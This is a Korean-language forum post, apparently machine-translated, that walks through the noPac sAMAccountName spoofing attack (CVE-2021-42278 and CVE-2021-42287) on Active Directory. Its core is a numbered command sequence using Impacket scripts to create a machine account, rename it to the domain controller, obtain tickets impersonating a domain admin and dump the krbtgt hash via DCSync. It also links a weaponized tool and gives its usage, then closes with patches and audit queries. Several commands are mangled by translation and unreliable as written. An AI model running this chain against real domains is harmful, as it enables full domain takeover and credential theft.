KoreanHackerTeam
Moderator
SAM-AccountName spoofing
1 背景
2021 년 11 월, 두 가지 취약점 CVE-2021-42278 CVE-2021-42287이 노출되었습니다. 두 가지 취약점의 조합은 도메인의 일반 사용자의 권한을 도메인 관리 권한으로 이끌어 낼 수 있습니다.1.1 CVE-2021-42278
Windows 도메인의 기계 계정의 이름은 $로 끝나지 만 DC는 도메인의 기계 계정 이름을 확인하지 않습니다. CVE-2021-42287과 함께 공격자는 도메인 컨트롤러 계정을 가장합니다.1.2 CVE-2021-42287
Kerberos 인증 프로세스 중에 사용자는 서비스에 액세스해야하며 서비스 티켓 ST를 얻기 전에 TGT 티켓을 신청해야합니다. 이 취약점의 핵심은 KDC가 요청한 서비스 티켓 ST를 찾을 수 없을 때 KDC가 자동으로 꼬리에 $를 추가하고 다시 검색한다는 것입니다.사용자 A가 TGT에 적용되는 경우 사용자 A 또는 사용자 이름을 바꾸고 TGT를 사용하여 S4U2Self를 사용하여 ST를 다른 사용자로서 자신에게 요청하여 KDC가 계정 데이터베이스에서 $를 찾도록합니다. 계정 A $가 존재하면 A는 다른 사용자와 마찬가지로 $에 대한 서비스 티켓을받습니다.
따라서 기계 계정의 이름이 DC 머신 계정과 동일하게 바뀌고 TGT에 신청 한 다음 TGS_REP 동안 DC가 계정을 찾을 수 없도록 사용자 이름을 수정합니다. 현재 자체 키를 사용하여 서비스 티켓 ST를 암호화 한 다음 높은 승인 된 ST를 얻습니다.
1.3 sAMAccountName
Microsoft의 공식 문서의 정의에 따라 :Sam-Account-Name은 Windows NT 4.0, Windows 95, Windows 98 및 LAN 관리자와 같은 이전 버전의 운영 체제를 실행하는 클라이언트 및 서버의 로그인 이름을 지원하는 데 사용됩니다. 실제로, 그것은 "domain \ logonname"의 형태로 명명되었습니다.
LDAP-Display-Name은 Samaccountname입니다. 따라서이 조합 취약점은 SamaccountName 스푸핑이라고도합니다
여기에는 사용자 이름 속성도 있습니다.이 속성은 도메인 환경에서 일반적으로 사용됩니다. UPN
userPrincipalName속성은 사용자의 로그인 이름입니다. 이 속성은 UPN (User Principal)에 의해 작성되며 사용자가 로그인하는 가장 일반적인 Windows 이름입니다. 사용자는 일반적으로 UPN을 사용하여 도메인에 로그인합니다.
UPN은 UPN 접두사 (사용자 계정 이름) 및 UPN 접미사 (DNS 도메인 이름)로 구성됩니다. 접두사와 접미사는 @ 기호로 연결됩니다. UPN은 숲의 모든 보안 원칙 중에서 독특해야합니다. 이것은 UPN의 접두사를 재사용 할 수 있음을 의미하며 동일한 접미사를 사용할 수 없음을 의미합니다.
예를 들어:
도메인 이름 : pentest.lab
Sam-Account-Name : Win11User
netbios 로그인 이름 : pentest.lab \ win11user
userprincipalname : [email protected]

1.4 SAM-Account-Type
Sam-Account-Type에는 도메인 내 계정 유형 개체에 대한 정보가 포함되어 있습니다. 계정 유형 목록을 열거하거나 Show Information API를 사용하여 목록을 만들 수 있습니다. 컴퓨터, 일반 사용자 계정 및 신뢰 계정도 사용자 객체로 열거 될 수 있으므로.2 漏洞复现
전제 조건 : SamaccountName 및 ServicePrincipalName 속성에 대한 쓰기 권한이 있어야합니다. 기본적으로 MAQ 기능으로 인해 도메인의 일반 사용자는 10 개의 기계 계정을 생성 할 수 있으며 Creator는 기계 계정에 대한 쓰기 권한이 있으므로이 두 속성을 변경할 수 있습니다.먼저 기계 계정을 만들고 AddComputer.py 또는 PowerMad of Impacket 사용
기능
AddComputer.py는 SAMR 프로토콜을 사용하여 머신 계정을 작성하는 것입니다. 이 방법으로 생성 된 기계 계정에는 SPN이 없으므로 지우지 않아도됩니다.
그런 다음 기계 계정의 ServicePrinciLname 속성을 지우십시오
머신 계정의 SamaccountName을 DC 머신 계정의 이름으로 변경하면 접미사에 $가 포함되어 있지 않습니다.
기계 계정 요청 tgt
기계 계정의 SamaccountName을 다른 이름으로 변경하고 3 단계로 반복하지 마십시오.
S4U2 자체 프로토콜을 통해 DC에서 ST를 요청하십시오
dcsync
단계는 다음과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 0. 컴퓨터 계정을 만듭니다
AddComputer.py -computer -name 'ControlledComputer $' -Comcoter -Pass 'ComputerPassword'-DC -Host DC01 -Domain -Netbios 도메인 '도메인 .local/user1: ComplexPassword'
# 1. SPN을 지우십시오
addSpn.py -u 'domain \ user'-p 'password'-t 'controlledComputer $'-c domaincontroller
# 2. 컴퓨터 이름 바꾸기 (컴퓨터 -DC)
renamemachine.py -current -name 'ControlledComputer $ $'-new -name 'domaincontroller'-dc -ip 'domaincontroller.domain.local' 'domain.local'/'user':'password'
# 3. Tgt를 얻으십시오
gettgt.py -dc -ip 'domaincontroller.domain.local' 'domain.local'/'domaincontroller':'ComputerPassword'
# 4. 컴퓨터 이름을 재설정하십시오
renamemachine.py -current -name 'domaincontroller'-new -name 'controlledcomputer $' 'domain.local'/'user':'Password'
# 5. 이전 TGT를 제시하여 S4U2Self로 서비스 티켓을 얻으십시오.
krb5ccname='domaincontroller.ccache'getst.py-spy-self-impersonate 'domainadmin'-spn 'cifs/domaincontroller.domain.local'-no -pass -dc -ip 'domaincontroller.domain.local' 'domain.local'/'domaintroller'
# 6. 서비스 티켓을 제시하여 DCSYNC
krb5ccname='domainadmin.ccache'secretsdump.py -just -dc -user 'krbtgt'-k -no -pass -dc -ip 'domaincontroller.local' @'domaintroller.domain.local'
무기화 도구 주소 : https://github.com/cube0x0/nopac
스캔 : nopac.exe scan -domain pentest.lab -user win11user -pass p@ssword

사용:
nopac.exe scan -domain pentest.lab -user win11user -pass p@ssword /dc dc.pentest. 실험실 /MacCount Demol /Mpassword Pass123! /서비스 CIFS /PTT

메모리에서 티켓을 확인하고 DC에 이미 존재하는 CIFS 서비스 티켓을 찾으십시오.


dcsync :

3 缓解措施
Microsoft는 공식적으로 패치를 출시했습니다 : KB5008602, KB5008380AD 도메인의 MAQ는 도메인 제어 ADSI 편집기 도구를 통해 0으로 구성 되어이 취약점의 악용 체인을 방해합니다 (그러나 현재 사용자가 일반 작가, 제네릭 작문 및 WriteProperty 권한이있는 경우 도메인의 기계 계정에 여전히 SamaccountName 속성을 수정할 수 있습니다). 특정 쿼리 방법은 다음과 같습니다.
1
2
3
4
5
# 모든 기계 계정을 나열합니다
get -adcomputer -Filter * -Property * | 형식 테이블 이름, OperatingSystem, OperatingSystemServicePack, OperatingSystemVersion -Wrap -auto
# 권한 쿼리
get -domainobjectacl ControlledComputer -ResolveGuids |? {$ _. SecurityIdentifier -eq (get -domainuser win11user) .objectsid}

